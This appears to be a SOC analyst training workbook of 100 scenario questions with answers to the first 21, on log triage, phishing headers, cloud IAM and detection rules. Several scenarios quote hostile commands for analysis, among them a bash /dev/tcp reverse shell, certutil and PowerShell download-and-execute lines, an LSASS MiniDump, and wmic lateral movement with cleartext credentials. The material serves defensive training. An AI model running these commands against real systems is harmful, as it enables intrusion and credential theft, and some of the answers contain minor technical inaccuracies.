100 REAL-

WORLD
CYBERSECURITY
ANALYST
QUESTIONS
WITH ANSWERS
BY IZZMIER IZZUDDIN
100 HARD & EXPERT-LEVEL SCENARIOS (L1–L2)
QUESTIONS

QUESTION 1-10

1. [Log Analysis]
You received the following SSH log:

Jul 22 13:45:12 server1 sshd[2901]: Failed password for invalid user admin from
[Link] port 54321 ssh2
Jul 22 13:45:13 server1 sshd[2901]: Failed password for invalid user root from
[Link] port 54321 ssh2
Jul 22 13:45:14 server1 sshd[2901]: Failed password for invalid user test from
[Link] port 54321 ssh2
Jul 22 13:45:15 server1 sshd[2901]: Failed password for invalid user guest from
[Link] port 54321 ssh2

What type of attack is being attempted and what would be an appropriate first
response action?

2. [Threat Intelligence]
A new malware named BlueCraneRAT has been reported in threat intel feeds. It
communicates via 443 using custom TLS headers and performs beaconing every 7
minutes. What are two possible detection strategies you would configure in your SIEM
to identify its presence in your environment?

3. [Correlation]
Given the below logs from your SIEM:

Log 1 (Firewall):

src_ip=[Link] dst_ip=[Link] dst_port=443 action=allow

Log 2 (EDR):

host=endpoint-25 process=[Link] spawned=[Link] target=[Link]

Log 3 (DNS):
query=[Link] resolved_ip=[Link]

Is this activity likely to be benign or malicious? Justify your answer.

4. [MITRE ATT&CK Mapping]

You observed that a suspicious binary is dropped in
C:\ProgramData\[Link] and creates a scheduled task to execute every
15 minutes under the SYSTEM account. What MITRE ATT&CK techniques and sub-
techniques does this behaviour represent?

5. [SIEM Rule Writing]

Write a detection logic for the following use case in pseudo-SIEM syntax:
Use Case: Detect when a user logs in from two different countries within 10 minutes.
Your logs include fields: username, src_country, event_time.

6. [Email Header Analysis]

You receive the following email headers from a phishing investigation:

Received: from [Link] (unknown [[Link]])

by [Link] with ESMTP id 33FA5F0204
for <[Link]@[Link]>; Tue, 22 Jul 2025 09:13:17 +0000

Return-Path: <alerts@[Link]>
DKIM-Signature: none
SPF: fail
X-Mailer: Outlook 16.0

Identify three indicators that suggest this email is likely phishing.

7. [Windows Event Log Analysis]

A server was reported to be potentially compromised. You extract the following logs:

Event ID 4624 – An account was successfully logged on.

Logon Type: 10
Account Name: administrator
Source IP: [Link]
Event ID 4688 – A new process has been created.
New Process Name:
C:\Windows\System32\WindowsPowerShell\v1.0\[Link]
Command Line: powershell -enc aQBlAHgA...

Is this a legitimate behaviour? Explain your reasoning.

8. [Cloud Security]
An AWS CloudTrail log shows the following:

{
"eventTime": "2025-07-22T04:23:11Z",
"eventName": "CreateAccessKey",
"userIdentity": {
"type": "IAMUser",
"userName": "developer-temp"
},
"sourceIPAddress": "[Link]",
"userAgent": "aws-cli/2.12.0",
"responseElements": {
"accessKey": "AKIA...."
}
}

What are two concerns raised by this activity and what would be your immediate
response?

9. [Incident Triage]
A user reports a slow machine. You observe the following:

• taskmgr shows [Link] using 90% CPU

• Network logs show repeated connections to [Link]
• EDR flags [Link] injecting into [Link]

What is the most likely explanation and what containment step would you take first?
10. [Command Line Analysis]
You identified the following command running on a critical server:

[Link] /c echo Y | certutil -urlcache -split -f [Link]

C:\Users\Public\[Link] && C:\Users\Public\[Link]

Explain what this command is doing and why it is suspicious.

QUESTION 11-20

11. [EDR Alert Analysis]

Your EDR flagged the following alert on a user workstation:

Alert: LOLBin Execution Detected

Process: [Link]
Command Line: [Link] /s /n /u /i:[Link] [Link]
Parent Process: [Link]

What is this technique called and what is the most likely objective of the attacker?

12. [Firewall Log Analysis]

A client-facing web server is reporting intermittent outages. You find these firewall
logs:

Jul 22 04:12:55 src_ip=[Link] dst_ip=[Link] dst_port=80 protocol=TCP

flags=SYN
Jul 22 04:12:55 src_ip=[Link] dst_ip=[Link] dst_port=80 protocol=TCP
flags=SYN
Jul 22 04:12:55 src_ip=[Link] dst_ip=[Link] dst_port=80 protocol=TCP
flags=SYN
...
(repeats 5000 times in 1 minute)

What type of attack is occurring and how should the SOC mitigate it?

13. [Security Architecture]

You’ve been asked to evaluate endpoint security posture. The current environment
has:

• Windows 10 clients with Windows Defender enabled

• No application whitelisting
• Local admin accounts active on 30% of endpoints
• EDR agents installed on only 40% of machines

List three critical improvements you would suggest and justify each.
14. [DNS Log Analysis]
You observed the following DNS query log from a user machine:

query=[Link]
query=[Link]
query=[Link]
(All within 10 seconds)

What technique is being used here? What is the likely goal of this behaviour?

15. [Email Phishing Tactics]

An employee received an email with the subject: "Invoice Due – Urgent Action
Required". The body includes a Dropbox link and text stating the company must pay
today to avoid service disruption. The email is signed by a C-level executive but sent
from a free Gmail address.

Identify three red flags indicating this is a Business Email Compromise (BEC) attempt.

16. [SIEM Alert Triage]

A SIEM alert is triggered with the following details:

• Alert: Multiple VPN Failures Followed by Success

• Username: [Link]
• Failed attempts: 12
• Success from IP: [Link]
• User is currently on leave

What steps should you take next in your investigation?

17. [Web Server Log]

Review the HTTP request below from Apache logs:

GET /[Link]?page=../../../../../../etc/passwd HTTP/1.1

Host: [Link]
User-Agent: Mozilla/5.0

What is this type of attack called and what file is the attacker trying to access?
18. [Process Tree Investigation]
A suspicious chain of processes was observed:

[Link] → [Link] → [Link] → [Link]

Explain why this process chain is suspicious and what type of attack technique may
be in use.

19. [Network Log Review]

Your SOC receives the following network logs from Zeek:

Conn Log:
orig_ip=[Link] resp_ip=[Link] resp_p=53 proto=udp

DNS Log:
query=[Link] type=A answer=[Link]

HTTP Log:
host=[Link] uri=/[Link] method=GET user_agent=Mozilla/5.0

What is the attacker trying to accomplish and how could this be detected proactively?

20. [Persistence Mechanism]

An attacker gains access to a Windows endpoint and modifies the registry key:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveUpdater =
powershell -w hidden -enc
SQBmACgAWwBJAGQAZQBuAHQAaQBmAHkAXQAtAE8AcwApAC4AUwB...

What is the purpose of this registry modification and why is it effective for
persistence?
QUESTION 21-30

21. [SIEM Use Case]

Design a SIEM use case to detect potential data exfiltration via Dropbox.
Your logs include:

• username
• destination_domain
• bytes_sent
• timestamp

What logic or rule would you implement to flag this behaviour?

22. [Linux Command Analysis]

You identified this process running on a Linux server:

bash -c 'exec 3<> /dev/tcp/[Link]/443; cat <&3 | while read line; do $line 2>&3
>&3; done'

Explain what this command does and what threat it represents.

23. [Active Directory Security]

An attacker performs the following actions in a Windows domain:

• Enumerates domain users and groups

• Extracts [Link] and SYSTEM hive
• Transfers the files over SMB to an external device

What attack techniques are involved and what controls could have prevented or
alerted this?

24. [Windows Log Review]

You received the following logs:

Event ID: 4672

User: SERVICE-ACCT$
Privileges: SeDebugPrivilege, SeImpersonatePrivilege
Event ID: 7045
Service Name: svhost-updater
Path: C:\Windows\Temp\[Link]

What are two key indicators of compromise and what do they imply?

25. [Cloud IAM Review]

A junior DevOps engineer has the following AWS IAM policy attached:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

Why is this dangerous and how should you mitigate the risk?

26. [MITRE ATT&CK Application]

You detected an attacker who added their user account to the Remote Desktop Users
group and used RDP to maintain persistence.

Map this activity to MITRE ATT&CK technique(s) and sub-technique(s) and describe the
security impact.

27. [SIEM Alert Escalation]

You received the following SIEM alert:
"Unusual Parent-Child Process Detected: [Link] → [Link]"
What are your next five steps as a SOC analyst to investigate this?

28. [SQL Injection Detection]

You reviewed a suspicious URL in your web logs:
[Link]
me,password%20FROM%20users--

What type of attack is this and what would be a proper mitigation?

29. [Endpoint Timeline Review]

Timeline events for a compromised endpoint:

• 11:42 AM – [Link] spawns [Link]

• 11:42 AM – [Link] spawns [Link]
• 11:43 AM – PowerShell downloads [Link] from [Link]/raw/aB3dTzq
• 11:45 AM – Scheduled task created for [Link]
• 11:50 AM – [Link] connects to [Link]:443

What is the attack chain observed here? Identify each phase (Initial Access,
Execution, Persistence, C2).

30. [Phishing Campaign Investigation]

Your organisation is targeted by a spear phishing campaign. Employees received Excel
files named [Link] that, when opened, prompt macros. The file then
launches PowerShell and attempts a connection to [Link]:8080.

Outline how you would investigate this attack, from sample analysis to user impact
assessment.
QUESTION 31-40

31. [Credential Access]

An attacker executes the following command on a compromised Windows host:

[Link] C:\Windows\System32\[Link], MiniDump 736 [Link] full

What is the attacker attempting to do and why is this dangerous?

32. [SIEM Use Case Logic]

Create a SIEM rule logic that detects suspicious PowerShell activity involving
download of files from external IPs.
Your available log fields include:

• process_name
• command_line
• destination_ip
• username

What should the detection rule look for?

33. [Privilege Escalation]

A malicious user created a file C:\Windows\Tasks\[Link] and added the
following content:

net localgroup administrators attacker /add

Later, the attacker used this command:

schtasks /create /tn "WinBackup" /tr C:\Windows\Tasks\[Link] /sc minute /ru

SYSTEM

Explain how this results in privilege escalation.

34. [Memory Dump Forensics]

During a memory forensic investigation, you find a PowerShell process with this
base64 string in its command line:
powershell -enc SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEMAbwByAGU...

What is the proper approach to analyse this encoded string and what are you trying to
uncover?

35. [Cloud Security]

You observe this AWS CloudTrail log:

{
"eventName": "PutObject",
"bucketName": "prod-logs",
"requestParameters": {
"key": "../../../../../etc/passwd"
},
"sourceIPAddress": "[Link]",
"userAgent": "aws-cli/2.15"
}

What is this type of activity called and what is the attacker attempting?

36. [File Extension Abuse]

A user downloaded an email attachment called [Link] which has the
following properties:

• MIME Type: application/x-msdownload

• Icon: Adobe Acrobat PDF
• Hash matches known malware in VirusTotal

Why is this tactic effective and what user awareness or technical control could
prevent this?

37. [SIEM Alert Investigation]

Your SIEM raised an alert:
"Multiple Failed Logins Across Endpoints for Single User"

Data shows:

• Username: [Link]
 • 23 failed logins
• Across 12 workstations
• Timeframe: 10 minutes

What is the likely scenario and what two immediate actions should you take?

38. [Web Shell Detection]

The following HTTP request is logged:

POST /uploads/[Link] HTTP/1.1

Host: [Link]
Content-Length: 52
cmd=whoami&submit=run

What is this behaviour and what steps would you take to validate and remediate?

39. [Insider Threat Indicators]

Over the last 2 days, a departing employee accessed the following:

• HR salary database after hours

• Large file transfers to USB
• Emails with confidential attachments sent to personal Gmail
• Unusual VPN access from home on Saturday midnight

Identify three indicators of insider threat and suggest preventive controls.

40. [Lateral Movement Technique]

An attacker gained access to one workstation and from there executed:

wmic /node:"HR-PC02" /user:"hradmin" /password:"P@ssw0rd123" process call

create "[Link] -nop -w hidden -enc aQBlAHg..."

What technique is this and how could it be detected and mitigated in a large network?
QUESTION 41-50

41. [Detection Engineering]

You are tasked to write a detection rule for lateral movement using PsExec.
Your available log fields are:

• parent_process
• child_process
• host_source
• host_destination
• command_line

What are two key indicators you would look for in your logic?

42. [Log Correlation]

Your SIEM correlates the following logs:

• DNS Log: query=[Link]

• EDR Log: [Link] spawning [Link]
• Firewall Log: [Link] → [Link]:443
• Process Log: PowerShell downloads [Link]

What type of attack is likely in progress? What would be your recommendation?

43. [EDR Alert]

An alert shows the following:

Process: [Link]
Command Line: mshta [Link]
Parent Process: [Link]

What technique is being used and why is this dangerous?

44. [SIEM Alert Review]

Your SIEM flagged the following activity:

Alert: User Account Created Outside Business Hours

Time: 03:47 AM
Created By: svc-webadmin
New Account: tempops_admin
Group: Domain Admins

What is suspicious here and what three steps should be taken next?

45. [Web Log Analysis]

You found the following Apache log entry:

[Link] - - [22/Jul/2025:17:23:11 +0000] "GET /?search=1%20OR%201=1--

HTTP/1.1" 200 487 "-" "Mozilla/5.0"

What is the attacker trying to do and how would you defend against it?

46. [Cloud IAM Abuse]

A compromised AWS user issued the following:

{
"eventName": "AttachUserPolicy",
"policyArn": "arn:aws:iam::aws:policy/AdministratorAccess",
"userName": "temp-user"
}

What is the attacker doing and how would you contain this?

47. [Malware Execution Chain]

Timeline from infected host:

• [Link] opened from Downloads

• [Link] executed with encoded command
• Downloaded invoice_reader.dll
• Used [Link] to execute DLL
• Registry modified:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AdobeHelper

Break down each attack phase and match it to MITRE ATT&CK techniques.
48. [Insider Threat]
A user with access to customer PII accessed 300 records over 3 days and emailed
them in 4 batches to a domain [Link]. DLP flagged this but the user denied
wrongdoing.

What is the investigation process to validate malicious intent?

49. [Email Header Analysis]

You receive this header from a suspicious email:

From: "IT Helpdesk" <it-helpdesk@[Link]>

Reply-To: "support" <it-reset@[Link]>
Received: from [Link] (HELO smtp) ([Link])
SPF: Pass
DKIM: none
DMARC: none
Subject: Password Reset Required Immediately

What are three red flags that suggest this is a phishing attempt?

50. [Proxy Log Analysis]

Your proxy logs reveal the following repeated pattern from a workstation:

GET [Link]
GET [Link]
GET [Link]

Why is this behaviour suspicious and what should be investigated?

QUESTION 51-60

51. [SIEM Correlation Logic]

You are building a correlation rule to detect credential access followed by lateral
movement.

Given logs from:

• Logon Events (Event ID 4624)

• Remote Process Execution (e.g., wmic, psexec, [Link])
• Security Group Modifications

Design a correlation logic that ties these events together and explains why they
indicate suspicious behaviour.

52. [Suspicious File Behaviour]

A file named [Link] is opened by a user. Investigation reveals the shortcut
launches:

[Link] -window hidden -nop -enc

UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQAgACcAJABlAG4
AdgA6AFQAZQBtAHAAXABtAGEAbAB3AGEAcgBlAC4AZQB4AGUAJwA=

What is happening here and what should you do next?

53. [Email Threat Analysis]

You receive a reported phishing email with an HTML attachment ([Link]) that
contains obfuscated JavaScript. The script creates a fake login form resembling
Microsoft 365.

What indicators would you extract from this file and how can you use them for
detection?

54. [PowerShell Log Analysis]

The following command was logged from a host:

powershell -nop -w hidden -c "IEX ((New-Object

[Link]).DownloadString('[Link]
Explain what the command does and what risk it poses to the organisation.

55. [EDR Anomaly]

EDR detected the following chain:

• [Link] → [Link] → [Link]

• PowerShell launches: [Link] /s /n /u /i:[Link]
[Link]

Explain this technique and what action should be taken.

56. [Suspicious Windows Event]

You discover the following Windows Event:

Event ID: 7040

Message: The start type of the service "WinUpdate" was changed from auto start to
disabled
Service path: C:\Windows\System32\[Link] -k netsvcs
Time: 03:16 AM

Why is this suspicious and what are the possible implications?

57. [Cloud Trail Alert]

AWS CloudTrail triggered an alert:

Event: CreateUser
User: billing-temp
Created By: arn:aws:iam::123456789012:user/security-admin
Source IP: [Link]
Time: 02:33 AM UTC

Why is this event potentially malicious and what would you recommend next?

58. [Linux Host]

You find this process running on a Linux host:
/usr/bin/python3 -c "import pty; [Link]('/bin/bash')"

What does this command do and what attacker behaviour might follow?

59. [File Transfer Detection]

You want to detect possible exfiltration of data via FTP from internal hosts.

Which log fields or telemetry should you monitor and what detection logic would you
implement?

60. [Threat Intelligence Matching]

Threat intel reports that malware known as “StealthLinker” uses this User-Agent for
its HTTP C2:

Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/77.0.3865.90 Safari/537.36 LinkModule

How would you implement detection for this in proxy logs and what are challenges in
matching threat intelligence like this?
QUESTION 61-70

61. [Logon Pattern Analysis]

An employee’s account shows the following pattern in authentication logs over one
hour:

• 3 logons from Malaysia (Corporate IP Range)

• 1 logon from Germany (cloud-hosted IP)
• 2 logons from Singapore (personal VPN)

The user claims they were working remotely from Malaysia.

What is the likely scenario and what steps should be taken?

62. [Data Exfiltration via HTTPS]

You suspect an internal user is exfiltrating sensitive files by uploading them to a
personal Google Drive account. The traffic is encrypted (HTTPS).

How can you detect or prevent this activity using available tools?

63. [Suspicious Windows Task]

You identify the following scheduled task:

Task Name: Windows_Security_Updates

Trigger: At system startup
Action: [Link] -WindowStyle Hidden -ExecutionPolicy Bypass -File
C:\ProgramData\wup.ps1

Why is this suspicious and how would you investigate further?

64. [SIEM Threat Hunting]

You want to hunt for signs of Kerberoasting attacks in Windows event logs.
Which Event ID(s) and log patterns would you focus on?

65. [Persistence Mechanism]

An attacker modifies the following registry key:
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ServiceName

What is the purpose of modifying this key and why is it dangerous?

66. [Malicious Attachment]

A user reports opening a .xlsm file with a macro that silently launches [Link].
Your analysis shows it executes code from [Link]

Explain the threat path and the role of each component.

67. [DNS Tunneling]

You observe a high number of DNS queries from a host in this pattern:

[Link]
[Link]
...

Each query has no corresponding HTTP/HTTPS or other outbound traffic.

What is likely happening and how would you confirm it?

68. [Cloud Misconfiguration]

An S3 bucket was publicly exposed and indexed by a search engine.
Files include client PII and contract PDFs.

What are your immediate steps for incident response and how can this be prevented
in future?

69. [Security Control Evasion]

You discover the following process chain:

[Link] -EncodedCommand → adds firewall rule to allow port 443 → disables

Defender real-time protection → downloads remote payload

Why is this sequence dangerous and what are the recommended detection and
prevention methods?
70. [Endpoint Alert Investigation]
An EDR alert reports:

• [Link] spawns [Link]

• [Link] launches [Link]
• Script downloaded from hxxp://[Link]/[Link]
• Registry modified:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OneDriveUpdate

Explain each step in the context of an attack chain and recommend how to remediate
and hunt for similar behaviour.
QUESTION 71-80

71. [Email Threat Simulation]

You receive a phishing email that contains an attachment named [Link].
When opened, it redirects to a lookalike Microsoft login page and captures user
credentials.

What steps should you take to confirm the impact, contain the threat and prevent
recurrence?

72. [Process Anomaly]

A user device shows the following parent-child chain:

[Link] → [Link] → [Link] → [Link]

Further logs show rundll32 loading a DLL from C:\Users\Public\[Link].

Why is this process chain dangerous and how would you investigate?

73. [Azure Incident Response]

You receive an alert from Microsoft Defender for Cloud:

Suspicious Azure Activity:

User: backup-admin@[Link]
Activity: Assigned 'Owner' role to unknown-user@[Link]
Source IP: [Link]
Time: 04:42 AM UTC

What are three immediate steps you would take in this investigation?

74. [Suspicious Script Detection]

A base64 encoded command was detected in logs:

[Link] -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMQAwAA==

What is the decoded command and what does it indicate?

75. [Malware Persistence]
You find that malware persists using this registry key:

HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell =
[Link], [Link]

Why is this effective and what are the risks if left unremediated?

76. [SIEM Rule]

You are writing a SIEM rule to detect possible abuse of [Link] for downloading
malware.

What fields and patterns should be included in your detection logic?

77. [Firewall Log Analysis]

Firewall logs show multiple outbound connections like:

src=[Link] dst=[Link] port=53 protocol=udp

src=[Link] dst=[Link] port=443 protocol=tcp
src=[Link] dst=[Link] port=80 protocol=tcp
(Repeated hourly)

What could this behaviour indicate and what would you recommend?

78. [Malicious ISO File]

You observe a user downloading an .iso file attached to an email.
Upon mounting, it reveals a shortcut .lnk file that launches hidden PowerShell.

Why are .iso files commonly used in phishing and how should you defend against this?

79. [Command & Control]

A host beaconed every 10 minutes to the following domain:

[Link]
Each beacon was an HTTPS POST request with base64 payload.
What indicators can be extracted and how would you build a detection use case?

80. [Threat Actor Profile]

A recent attack involved the use of:

• DNS tunnelling
• LOLBins (mshta, regsvr32)
• Encrypted PowerShell payloads
• Beaconing to VPS-hosted IPs

What type of attacker profile does this match and what key controls should your SOC
prioritise?
QUESTION 81-90

81. [SIEM Threat Hunting]

You want to identify possible use of [Link] for data exfiltration.
Your logs include:

• process_name
• command_line
• destination_ip
• bytes_sent

What specific patterns or behaviour would you include in your SIEM threat hunt?

82. [Process Chain Review]

The following suspicious process chain was observed:

[Link] → [Link] → [Link] → [Link]

Explain what this sequence likely represents and which MITRE ATT&CK techniques are
involved.

83. [Azure Defender Alert]

You receive an alert in Microsoft Defender for Identity:

Alert: Suspicious modification of Azure Conditional Access policy

User: sysadmin@[Link]
Change: Disabled MFA enforcement
Time: 02:14 AM UTC
Source IP: [Link]

List your next steps to respond to this incident.

84. [Persistence Discovery]

During a DFIR review, you find the following:

• New service: svcHostUpdater

• Binary path: C:\Users\Public\tools\[Link]
• Registry:
 HKLM\SYSTEM\CurrentControlSet\Services\svcHostUpdater
Start = 2

Why is this a persistence mechanism and how would you analyse further?

85. [SIEM Rule Design]

Create a rule logic to detect credential dumping tools such as Mimikatz in Windows
event logs.
What Event IDs, command-line patterns or tools would you look for?

86. [Network Threat Pattern]

From Zeek/Suricata logs, you observe:

• Multiple small POST requests (200–800 bytes) every 30 seconds

• Destinations are rare VPS IPs
• All traffic uses HTTP or HTTPS
• User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Beacon

What threat behaviour does this suggest and how would you respond?

87. [Linux Log Analysis]

Review the suspicious command from /var/log/bash_history:

curl [Link] | bash

What are the risks and how do you respond in a Linux incident response workflow?

88. [Malicious PowerShell]

You decode a base64-encoded PowerShell command that includes:

(New-Object [Link]).DownloadString('[Link] | IEX

What is the risk associated with this command and how should you handle endpoints
that executed it?
89. [Suspicious Behaviour Detection]
You observed a single host doing the following over 3 hours:

• Unusual DNS queries to dynamic subdomains

• High-volume outbound FTP
• Local log deletions
• Stopped antivirus service

What incident phase is this and what actions should your SOC take?

90. [Threat Actor TTPs]

A known threat actor is using these techniques:

• Weaponised .lnk files inside .iso

• DNS over HTTPS (DoH) tunneling
• Use of OneDrive for C2
• PowerShell with encoded payloads
• Adding users to Local Admin via GPO

How would you create a comprehensive detection strategy across endpoint, network
and cloud?
QUESTION 91-100

91. [SIEM Anomaly Detection]

You want to detect brute-force login attempts that occur over time but avoid false
positives from occasional wrong passwords.

Your log fields include:

• username
• event_type (failure, success)
• timestamp
• src_ip

Write a logic that identifies slow brute-force attempts from a single IP over 30
minutes.

92. [Lateral Movement]

You observed this command in a compromised host:

net use \\[Link]\C$ /user:corp\admin Passw0rd!

copy [Link] \\[Link]\C$\Windows\Temp
wmic /node:[Link] process call create "C:\Windows\Temp\[Link]"

Explain what is happening here and what detection controls can prevent or alert on it.

93. [Insider Threat Behaviour]

A developer accesses 50 sensitive design documents outside office hours. Network
logs show access to a personal GitHub repository.

What would be your next steps to validate intent and contain potential data leakage?

94. [Cloud Incident Response]

An IAM key for an AWS account was leaked on a public GitHub repo. Within 20
minutes, the following activities occurred:

• DescribeInstances
• ListBuckets
• GetObject
 • PutObject in a new region

What steps must you take immediately and why?

95. [SIEM Detection Use Case]

You are asked to create a SIEM use case to detect potential abuse of the BITSAdmin
utility to download payloads.

What would your rule logic look like and what fields would you include?

96. [EDR Alert Triage]

Alert shows:

• [Link] → [Link]
• [Link] → [Link]
• URL: [Link]

Explain the risk and triage steps for this alert.

97. [Endpoint Behavioural Hunting]

You're hunting for malware that uses LOLBin-based execution and avoids dropping
files to disk.

What telemetry or logs should you query to identify suspicious regsvr32, mshta and
rundll32 behaviour?

98. [APT Attack Reconstruction]

An APT group was confirmed in your network. You recovered the following timeline:

• Day 1: Spear-phish with .docm attachment

• Day 2: Registry key for persistence
• Day 3: Data collection in C:\Intel\Logs\
• Day 5: Upload to external IP via PowerShell

Reconstruct the attack phases (Initial Access, Execution, Persistence, Exfiltration)

and link to MITRE ATT&CK techniques.
99. [Data Loss Prevention]
Your DLP logs show a staff member uploading .csv files with employee data to
[Link].

They claim it was for a personal backup. The files contain phone numbers and salary
data.

What actions would you take and which policies or controls may need to be revised?

100. [Advanced Threat Hunting]

Threat intel indicates a new malware variant abuses:

• [Link] to persist
• [Link] to download payloads
• TLS over port 443 to VPS servers

Design a threat hunting plan to detect infected hosts across the network.
ANSWERS

ANSWERS 1–10

1. Type: Brute-force attack on SSH

Explanation:
The SSH log shows multiple failed login attempts from the same IP to different usernames
(admin, root, test, guest). This is a classic brute-force or password guessing attack, likely
automated.
Response:

• Use tools like fail2ban or iptables to block the IP: [Link]

• Check for any successful logins from that IP afterward, the attacker may have
succeeded.
• Disable SSH access for default accounts and enforce key-based authentication.

2. Detection strategies for BlueCraneRAT malware:

Explanation:
This RAT uses encrypted communication (HTTPS/TLS) but with a predictable beacon
pattern (every 7 mins).
Detection Strategy:

• SIEM Rule 1: Track external HTTPS connections from endpoints to rare or new
domains happening at 7-minute intervals.
• SIEM Rule 2: Use JA3 fingerprinting or TLS header inspection to identify traffic with
custom encryption signatures.
• Combine both with threat intelligence feeds to catch beaconing to known C2
infrastructure.

3. Malicious activity – Command and Control (C2):

Explanation:

• DNS resolves [Link] → C2 domain

• Notepad spawning curl is unusual → indicates misuse of trusted binaries
• External IP [Link] is accessed → matches the resolved domain
Conclusion: The attacker is likely communicating with a C2 server, possibly to
receive commands or exfiltrate data.

4. MITRE ATT&CK Techniques Identified:

Behaviour Observed: A suspicious binary placed in C:\ProgramData\ that executes every
15 minutes via scheduled task.
Mapped Techniques:

• T1053.005 – Scheduled Task used for persistence

 • T1547.001 – Registry or Startup folder abuse for auto-start
• T1036 – Masquerading the binary as a system-like name ([Link])
Recommendation: Check who created the task and verify if it’s signed and known.

5. SIEM Rule for "Impossible Travel" Detection:

Use Case: Alert if a single user logs in from two distant countries within a short period (10
minutes).
Logic:

IF count(login events) by username with different src_country within 10 minutes > 1

THEN trigger alert

Why it matters: Indicates stolen credentials being used from geographically different
locations, possibly indicating account compromise.

6. Email Header Indicators of Phishing:

Explanation:

• SPF fail: Sending server isn’t authorised to send on behalf of the domain
• No DKIM signature: Cannot verify if sender's message was modified
• Domain name ([Link]) is suspicious, attempts to mimic real bank
Action: Block the sender, inspect email link safely, alert users and educate on
identifying spoofed senders.

7. Suspicious Windows Logs – Remote Desktop Access:

Indicators:

• Event ID 4624 with Logon Type 10 → Remote Desktop session

• Admin account used → High risk
• PowerShell launched with base64 code → Potential execution of obfuscated
malware
Conclusion: Signs of compromise or backdoor. Investigate command line, isolate
host if suspicious and pull memory dump if needed.

8. AWS Key Abuse Detected:

Concerns Raised:

• Key created by developer-temp (likely low-privileged)

• IP [Link] may be unrecognised
Response:
• Revoke the access key immediately
• Check logs for what operations the key performed
• Investigate user behaviour, could be insider threat or credential theft
9. Cryptojacking via Browser Process:
Symptoms:

• High CPU usage from [Link]

• Connections to [Link] (known crypto mining service)
• DLL injection observed
Conclusion: Machine is hijacked to mine cryptocurrency (cryptojacking)
First Action:
• Isolate host
• Kill mining processes
• Scan for persistence mechanisms
• Rebuild system if rootkit or deep infection is found

10. Suspicious Command with [Link]:

Command:

certutil -urlcache -split -f [Link] C:\Users\Public\[Link]

&& [Link]

Explanation:

• certutil is a built-in Windows tool (LOLBIN)

• It's used here to download and execute malware (fileless initial delivery)
• Suspicious because:
o Uses direct IP
o Uses download-execute pattern
o Bypasses standard antivirus heuristics
Remediation:
• Block certutil via AppLocker
• Alert on command-line pattern in EDR
• Isolate host and check the payload
ANSWERS 11–20

11. Technique: Remote Code Execution via LOLBin (regsvr32 + scriptlet)

Explanation:
[Link] /i:[Link] [Link] is abusing [Link], a
legitimate Windows tool (LOLBin), to execute remote scriptlets.

• It runs the script directly from the web without saving it to disk → fileless execution.
• Bypasses application whitelisting and many AVs.
Mitigation:
• Monitor use of regsvr32 with remote URLs.
• Block or alert on .sct usage or unusual parent-child chains.

12. Attack: TCP SYN Flood (Denial-of-Service)

Explanation:
Thousands of SYN packets per minute to port 80 = TCP handshake flood.

• Goal is to overwhelm server resources by half-opening TCP sessions (SYN without

completing handshake).
Mitigation:
• Enable SYN cookies on the web server.
• Use rate limiting or firewall rules to drop repeated SYNs from same IP.
• Consider upstream WAF/DDoS protection.

13. Endpoint Security Recommendations:

Improvements:

1. EDR on all endpoints: Only 40% coverage means most systems are blind spots.
2. Disable local admin: Reduces chance of privilege escalation by malware or
insiders.
3. Application whitelisting: Tools like AppLocker prevent unknown programs from
executing.

14. Technique: Domain Generation Algorithm (DGA)

Explanation:

• Malware creates random subdomains (x9k42z...[Link]) in DNS queries.

• Purpose: To find its command-and-control server, one of the domains will resolve if
the attacker has registered it.
Detection:
• Hunt for high volumes of failed/resolved DNS with random-looking subdomains.
• Use entropy-based anomaly detection tools or threat intel feeds.
15. Red Flags of BEC (Business Email Compromise):
Explanation:

• Urgency triggers fear-based action without thinking.

• Gmail address impersonating a C-level exec is highly suspicious.
• Dropbox link used to hide phishing/malware files or redirect to fake login pages.
Action:
• Block sender domain, sandbox the link, notify user and security team.

16. VPN Suspicious Behaviour – Incident Steps:

Scenario:
A user on leave has multiple failed VPN attempts followed by a successful login from a
Nigerian IP.
Steps:

1. Verify leave status and user location

2. Geo-check IP, is it in corporate allowlist?
3. Disable account and reset password
4. Check logs for lateral movement, suspicious downloads, persistence
5. Notify the user and initiate incident report

17. Web Attack: Local File Inclusion (LFI)

Explanation:

• Request to ../../../../../../etc/passwd tries to access system file via relative path

traversal.
• passwd file contains usernames and hashed credentials.
Mitigation:
• Disable direct file path access in web apps
• Use input sanitisation
• Implement WAF with path traversal rules

18. Suspicious Process Chain – winword → powershell → rundll32

Explanation:

• Word launching PowerShell = macro attack vector

• PowerShell running rundll32 with DLL = fileless malware execution or DLL side-
loading
MITRE ATT&CK Mapping:
• Defense Evasion
• Execution
Action:
• Isolate host
• Analyse DLL
 • Trace origin (email, download, macro)

19. Multi-source Threat Detection – DNS + HTTP + EDR

Attacker Goal:

• DNS: Resolve malicious domain to find C2 server

• HTTP: Fetch payload via PowerShell or browser
Detection:
• Correlate DNS queries to known malicious or dynamic domains
• Block uncommon external IPs accessed by tools like curl or powershell
• Monitor HTTP GETs with suspicious User-Agents or referrers

20. Registry Run Key for Persistence:

Key Used:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
Explanation:

• This registry key runs the PowerShell payload at every user login
• Blends in with legit startup entries like OneDrive, Teams, etc.
Why Dangerous:
• Easy to miss in manual reviews
• Runs with user privileges, enabling long-term access
Mitigation:
• Monitor for new or modified Run keys
• Alert on PowerShell/encoded commands within Run key values
ANSWERS 21–30

21. Use Case: Data Exfiltration via Dropbox (SIEM Rule)

Detection Logic:
Track large outbound uploads to known file-sharing services like Dropbox.
Rule:

IF destination_domain LIKE '%.[Link]' AND bytes_sent > 52428800 (50MB) within 1

hour THEN alert

Why it matters:
Attackers or malicious insiders may use legitimate platforms (like Dropbox) to exfiltrate
sensitive data.
Tip: Tune based on environment norms and user roles (e.g., developers might push big
data to GitHub legally).

